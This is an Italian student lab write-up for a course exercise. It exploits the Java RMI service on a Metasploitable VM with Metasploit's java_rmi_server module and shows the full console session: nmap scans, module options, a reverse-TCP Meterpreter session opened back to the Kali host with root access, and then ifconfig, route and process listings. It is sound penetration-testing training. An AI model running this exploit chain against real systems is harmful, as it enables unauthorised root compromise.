

ESERCIZIO DI FINE MODULO M4

L'esercizio di questo modulo prevede il seguente esercizio:

Traccia:

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI. Si richiede allo studente, ripercorrendo gli step visti nelle lezioni teoriche, di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

I requisiti dell'esercizio sono:

- La macchina attaccante (KALI) deve avere il seguente indirizzo IP: **192.168.11.111**
- La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: **192.168.11.112**
- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota:
 - o configurazione di rete;
 - o informazioni sulla tabella di routing della macchina vittima;
 - o ogni altra informazione che è in grado di acquisire.

Come primo passaggio è stata avviata la scansione tramite Nmap dalla Kali (macchina attaccante) alla Metasploitable (macchina target) con il seguente comando **nmap -sV -P 1099 192.168.11.112**

L'opzione **-sV** consente di rilevare la versione del servizio in esecuzione sulla porta specificata.

```
(kali@kali)-[~]
$ nmap -sV -p 1099 192.168.11.112
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-07 09:45 EST
Nmap scan report for 192.168.11.112
Host is up (0.00086s latency).

PORT      STATE SERVICE VERSION
1099/tcp  open  java-rmi GNU Classpath grmiregistry
MAC Address: 08:00:27:C0:D9:8B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.73 seconds

(kali@kali)-[~]
$
```

Successivamente è stata effettuata la stessa scansione ma con comando diverso inserendo uno “script”.

Si esegue la stessa scansione di versione sulla porta **1099**, ma con lo script NSE **rmi-dumpregistry**, che cerca di enumerare gli oggetti registrati nel Registro RMI (Java Remote Method Invocation).

```

(kali@kali)-[~]
$ nmap -sV -p 1099 --script rmi-dumpregistry 192.168.11.112
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-07 09:53 EST
Nmap scan report for 192.168.11.112
Host is up (0.00056s latency).

PORT      STATE SERVICE VERSION
1099/tcp  open  java-rmi GNU Classpath grmiregistry
MAC Address: 08:00:27:C0:D9:8B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.47 seconds

(kali@kali)-[~]
$

```

A questo punto verrà avviato **Metasploit** con il comando **Msfconsole**. Metasploit è uno dei tool più utilizzati e potenti per penetration test ed exploit.

In seguito, si andrà a digitare il comando **search java_rmi** affinché come risultato ci dia la lista degli exploit Java RMI.

```

(kali@kali)-[~]
$ msfconsole
Metasploit tip: Metasploit can be configured at startup, see msfconsole
--help to learn more

Metasploit v6.4.50-dev
+ --=[ 2496 exploits - 1283 auxiliary - 431 post ]
+ --=[ 1610 payloads - 49 encoders - 13 nops ]
+ --=[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search java_rmi

Matching Modules



| # | Name                                           | Disclosure Date | Rank      | Check | Description                                                        |
|---|------------------------------------------------|-----------------|-----------|-------|--------------------------------------------------------------------|
| 0 | auxiliary/gather/java_rmi_registry             | .               | normal    | No    | Java RMI Registry Interfaces Enumeration                           |
| 1 | exploit/multi/misc/java_rmi_server             | 2011-10-15      | excellent | Yes   | Java RMI Server Insecure Default Configuration Java Code Execution |
| 2 | \ target: Generic (Java Payload)               | .               | .         | .     | .                                                                  |
| 3 | \ target: Windows x86 (Native Payload)         | .               | .         | .     | .                                                                  |
| 4 | \ target: Linux x86 (Native Payload)           | .               | .         | .     | .                                                                  |
| 5 | \ target: Mac OS X PPC (Native Payload)        | .               | .         | .     | .                                                                  |
| 6 | \ target: Mac OS X x86 (Native Payload)        | .               | .         | .     | .                                                                  |
| 7 | auxiliary/scanner/misc/java_rmi_server         | 2011-10-15      | normal    | No    | Java RMI Server Insecure Endpoint Code Execution Scanner           |
| 8 | exploit/multi/browser/java_rmi_connection_impl | 2010-03-31      | excellent | No    | Java RMIConnectionImpl Deserialization Privilege Escalation        |



Interact with a module by name or index. For example info 8, use 8 or use exploit/multi/browser/java_rmi_connection_impl

msf6 > use exploit/multi/misc/java_rmi_server

```

L'exploit che si andrà ad utilizzare per i nostri scopi è il seguente, il numero 1, ovvero “exploit/multi/misc/java_rmi_server”

```
msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > options

Module options (exploit/multi/misc/java_rmi_server):

  Name      Current Setting  Required  Description
  --      -
  HTTPDELAY  10              yes       Time that the HTTP Server will wait for the payload request
  RHOSTS    1099           yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     1099           yes       The target port (TCP)
  SRVHOST   0.0.0.0         yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT   8080           yes       The local port to listen on.
  SSL       false          no        Negotiate SSL for incoming connections
  SSLCert   no             no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH   no             no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
  LPORT     4444           yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Generic (Java Payload)

View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > █
```

Con questo exploit utilizzato il payload è compreso di tutti i dati, in modo automatico, altrimenti avremmo dovuto aggiungerli manualmente.

Dato che l'exploit è andato a buon fine ed è stato eseguito regolarmente, il risultato finale ottenuto è una connessione **Meterpreter**

```
View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set RHOST 192.168.11.112
RHOST => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > opts
[-] Unknown command: opts. Did you mean options? Run the help command for more details.
msf6 exploit(multi/misc/java_rmi_server) > options

Module options (exploit/multi/misc/java_rmi_server):

  Name      Current Setting  Required  Description
  --      -
  HTTPDELAY  10              yes       Time that the HTTP Server will wait for the payload request
  RHOSTS    192.168.11.112  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     1099           yes       The target port (TCP)
  SRVHOST   0.0.0.0         yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT   8080           yes       The local port to listen on.
  SSL       false          no        Negotiate SSL for incoming connections
  SSLCert   no             no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH   no             no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
  LPORT     4444           yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Generic (Java Payload)

View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > run
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/6BuvPkbT
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:38271) at 2025-03-07 10:15:05 -0500

meterpreter > █
```

A questo punto verranno eseguiti dei comandi con privilegi di Root (amministratore), ottenendo sulla macchina attaccante Kali tutti i risultati della macchina bersaglio Metasploitable.

Comando: **if config** per visualizzare le configurazioni della scheda di rete

```
View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > run
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/6BuvPkbT
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:38271) at 2025-03-07 10:15:05 -0500

meterpreter > ifconfig

Interface 1
-----
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
-----
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fec0:d98b
IPv6 Netmask : ::

meterpreter > █
```

Comando: **route** serve per visualizzare e manipolare la **tabella di routing**, ovvero le regole che determinano come i pacchetti di rete vengono instradati verso le destinazioni.

```
meterpreter > route

IPv4 network routes
=====
Subnet      Netmask      Gateway      Metric  Interface
-----
127.0.0.1    255.0.0.0    0.0.0.0
192.168.11.112 255.255.255.0 0.0.0.0

IPv6 network routes
=====
Subnet      Netmask      Gateway      Metric  Interface
-----
::1          ::           ::
fe80::a00:27ff:fec0:d98b ::           ::

meterpreter > █
```

Comando: **getuid** serve per **verificare l'ID utente** con cui si sta eseguendo il codice sulla macchina compromessa.

IPv6 network routes

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
fe80::a00:27ff:fec0:d98b	::	::		

```
meterpreter > getuid
Server username: root
meterpreter > root
[-] Unknown command: root. Run the help command for more details.
meterpreter > getuid
Server username: root
meterpreter > █
```

Comando: **ps** serve per elencare tutti i processi in esecuzione sulla macchina target.

```
[-] Unknown command: root. Run the help command for more details.
```

```
meterpreter > getuid
```

```
Server username: root
```

```
meterpreter > ps
```

Process List

PID	Name	User	Path
1	/sbin/init	root	/sbin/init
2	[kthreadd]	root	[kthreadd]
3	[migration/0]	root	[migration/0]
4	[ksoftirqd/0]	root	[ksoftirqd/0]
5	[watchdog/0]	root	[watchdog/0]
6	[migration/1]	root	[migration/1]
7	[ksoftirqd/1]	root	[ksoftirqd/1]
8	[watchdog/1]	root	[watchdog/1]
9	[events/0]	root	[events/0]
10	[events/1]	root	[events/1]
11	[khelper]	root	[khelper]
46	[kblockd/0]	root	[kblockd/0]
47	[kblockd/1]	root	[kblockd/1]
50	[kacpid]	root	[kacpid]
51	[kacpi_notify]	root	[kacpi_notify]
98	[kseriod]	root	[kseriod]
142	[pdflush]	root	[pdflush]
143	[pdflush]	root	[pdflush]
144	[kswapd0]	root	[kswapd0]
186	[aio/0]	root	[aio/0]
187	[aio/1]	root	[aio/1]
1154	[ksnapd]	root	[ksnapd]
1332	[ksuspend_usbd]	root	[ksuspend_usbd]
1338	[khubd]	root	[khubd]
1391	[ata/0]	root	[ata/0]
1398	[ata/1]	root	[ata/1]
1401	[ata_aux]	root	[ata_aux]
2098	[scsi_eh_0]	root	[scsi_eh_0]
2132	[scsi_eh_1]	root	[scsi_eh_1]
2133	[scsi_eh_2]	root	[scsi_eh_2]
2269	[kjournald]	root	[kjournald]
2423	/sbin/udevd	root	/sbin/udevd --daemon
2699	[kpsmoused]	root	[kpsmoused]
3628	[kjournald]	root	[kjournald]
3760	/sbin/portmap	daemon	/sbin/portmap
3776	/sbin/rpc.statd	statd	/sbin/rpc.statd
3784	[rpciod/0]	root	[rpciod/0]
3785	[rpciod/1]	root	[rpciod/1]
3802	/usr/sbin/rpc.idmapd	root	/usr/sbin/rpc.idmapd
4029	/sbin/getty	root	/sbin/getty 38400 tty4
4030	/sbin/getty	root	/sbin/getty 38400 tty5
4035	/sbin/getty	root	/sbin/getty 38400 tty2
4037	/sbin/getty	root	/sbin/getty 38400 tty3